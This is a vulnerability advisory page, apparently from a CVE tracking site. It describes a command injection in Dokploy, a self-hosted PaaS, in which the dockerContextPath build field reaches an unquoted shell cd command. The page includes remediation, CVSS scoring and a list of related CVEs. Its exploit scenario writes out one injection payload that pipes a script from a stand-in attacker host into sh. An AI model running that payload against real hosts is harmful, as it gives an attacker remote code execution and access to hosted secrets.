Skip to main content

Dokploy CVE-2026-72885

| EUVDEUVD-2026-55795 NONE
OS Command Injection (CWE-78)
2026-08-10 GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as Dokploy application editor
  2. Delivery
    Open application build configuration in dashboard
  3. Exploit
    Set dockerContextPath to shell injection payload
  4. Install
    Trigger Docker build
  5. C2
    Unquoted cd executes payload via execAsync shell
  6. Execute
    Arbitrary OS commands run on Dokploy host
  7. Impact
    Achieve host-level code execution and lateral movement

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Dokploy session with at minimum the application editor role - anonymous or read-only users cannot trigger builds or set build configuration. The attacker must have access to an application's build settings and must be able to initiate a build using the Dockerfile builder (the primary affected sink). Similar injection paths exist in the nixpacks builder via publishDirectory and in the Docker provider via dockerImage, meaning the condition is not exclusive to one build type. Limiting factors: authentication is mandatory (no unauthenticated path), the Dokploy dashboard must be network-reachable from the attacker, and the attacker must have write access to at least one application's configuration. The injected commands run as the OS user executing the Dokploy server process - typically a dedicated service account or root depending on deployment, which determines post-exploitation reach.

Impact

Real-world risk is high despite the absence of KEV listing or EPSS data. The injection is post-authentication (application editor role required, mapping to CVSS PR:L), which meaningfully reduces the attack surface relative to unauthenticated flaws, but in practice Dokploy instances are collaborative tools where multiple team members hold editor permissions. Successful exploitation yields OS-level command execution on the Dokploy host - not sandboxed within a container - meaning an attacker can pivot to all hosted applications, access secrets and credentials stored on the host, and potentially escape to underlying infrastructure. The CVSS 4.0 vector provided in source data is a null placeholder (all N) and must be disregarded. The PR diff and test suite (docker-build-injection.test.ts) confirm the injection surface with five explicit payload classes, providing a clear exploitation blueprint. The fix version (0.29.13) is confirmed via tagged GitHub release. No conflicting signals exist in the available data, though EPSS score is absent.

Exploit ScenarioDerived

An attacker with a Dokploy account holding application editor permissions navigates to an application's build configuration in the dashboard, sets the Docker context path to a payload such as '. ; curl http://attacker.example/shell.sh | sh', and triggers a build. The Dokploy server constructs the shell command string with the unescaped path, causing execAsync to execute the injected commands on the host OS under the Dokploy process user, yielding a reverse shell or equivalent persistent access. The test suite in docker-build-injection.test.ts shipped with the fix explicitly validates five injection payload classes - $(), backtick, semicolon, &&, and pipe - confirming these vectors work against the unpatched code.

Awaiting Data No severity or threat signals available yet. Label will update when CVSS score is published or threat intelligence arrives.
Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

Command injection in Dokploy's Docker build pipeline allows authenticated application editors to execute arbitrary OS commands on the Dokploy host by supplying shell metacharacters in the dockerContextPath build configuration field. The malicious path value flows from the dashboard UI through getDockerContextPath() directly into an unquoted cd shell command executed via execAsync, enabling full host-level code execution under the Dokploy server process. All Dokploy installations prior to version 0.29.13 are affected; no active exploitation or public exploit code has been identified at time of analysis, though exploitation requires only a low-privilege authenticated session.

RemediationAI

Upgrade Dokploy to version 0.29.13 or later, which replaces all unquoted user-controlled values in shell command strings with shell-quote-escaped equivalents via the shell-quote npm library's quote() function. The fix is confirmed in release v0.29.13 at https://github.com/Dokploy/dokploy/releases/tag/v0.29.13 and implemented in commit cba0b253c7de4157dd932de7f16a2ad247c7cee9. If immediate upgrade is not possible, the compensating control with the lowest operational cost is to restrict who holds the application editor role - limit it to fully trusted operators, as the editor role is the minimum privilege enabling exploitation. As a secondary control, network-isolate the Dokploy management dashboard behind a VPN or IP allowlist so that only authorized personnel can reach the UI, reducing the pool of potential attackers. There is no configuration setting to disable dockerContextPath without disabling Dockerfile-based builds entirely. No workaround exists that permits normal use of the build feature while preventing injection.

Affected VersionsENISA

dokploy < 0.29.13

Affected Packages

euvd dokploy fix: 0.29.13

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dokploy (cpe:2.3:a:dokploy:dokploy:*:*:*:*:*:*:*:*) is a self-hosted Node.js PaaS that orchestrates Docker-based application deployments. The injection point is in packages/server/src/utils/builders/docker-file.ts, where user-supplied dockerContextPath is interpolated directly into a shell command string - cd ${dockerContextPath} - without quoting or escaping before being passed to execAsync. This is a textbook CWE-78 (OS Command Injection) flaw: shell metacharacters such as semicolons, backticks, $(), pipes, and && operators in the path value break out of the intended cd argument and execute attacker-supplied commands in the shell spawned by execAsync. The same class of injection was concurrently present in the nixpacks builder (publishDirectory) and the Docker provider (dockerImage), all fixed in the same PR by wrapping values with the shell-quote npm library's quote() function.

Know when Dokploy gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 0.0 NONE
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N
vuln.today AI 9.9 CRITICAL

Network-reachable web dashboard, low-privilege editor auth required, scope changes to host OS enabling full CIA compromise.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Aug 10, 2026 - 21:05 EUVD

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, dockerContextPath accepted by apps/dokploy/components/dashboard/application/build/show.tsx flows through getDockerContextPath in packages/server/src/utils/filesystem/directory.ts into the unquoted cd command in packages/server/src/utils/builders/docker-file.ts before execution by execAsync, allowing an authenticated application editor to execute arbitrary commands on the Dokploy host. This issue is fixed in version 0.29.13.

Threat Intelligence Overview

EPSS Score
0.6%
Top 56% exploitable
Prevalence
Low
self-hosted niche PaaS, small community deployment footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity NONE
CISA KEV No
Public POC No
EPSS 0.6%
Patch available Yes
Active threat No
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.
Awaiting Data No severity or threat signals available yet. Label will update when CVSS score is published or threat intelligence arrives.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

1
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: 0
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-24841 CRITICAL POC
9.9 Jan 28

Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate

CVE-2026-24840 HIGH POC
8.0 Jan 28

Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep

CVE-2026-129987 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong

CVE-2026-129989 CRITICAL
9.9 Nov 18

Authenticated users with create permission on an application in Dokploy versions prior to 0.31.1 can execute arbitrary c

CVE-2026-129986 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets a low-privileged member with file-mount create and delete

CVE-2026-129991 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets an organization member holding backup permission on a sing

CVE-2026-129316 CRITICAL
9.9 Nov 18

Authenticated Dokploy organization members can break out of their tenant boundary and reach root on the Docker host: the

CVE-2026-72901 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary

CVE-2026-72735 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o

CVE-2026-45631 CRITICAL
10.0 May 29

Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs

CVE-2026-72902 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy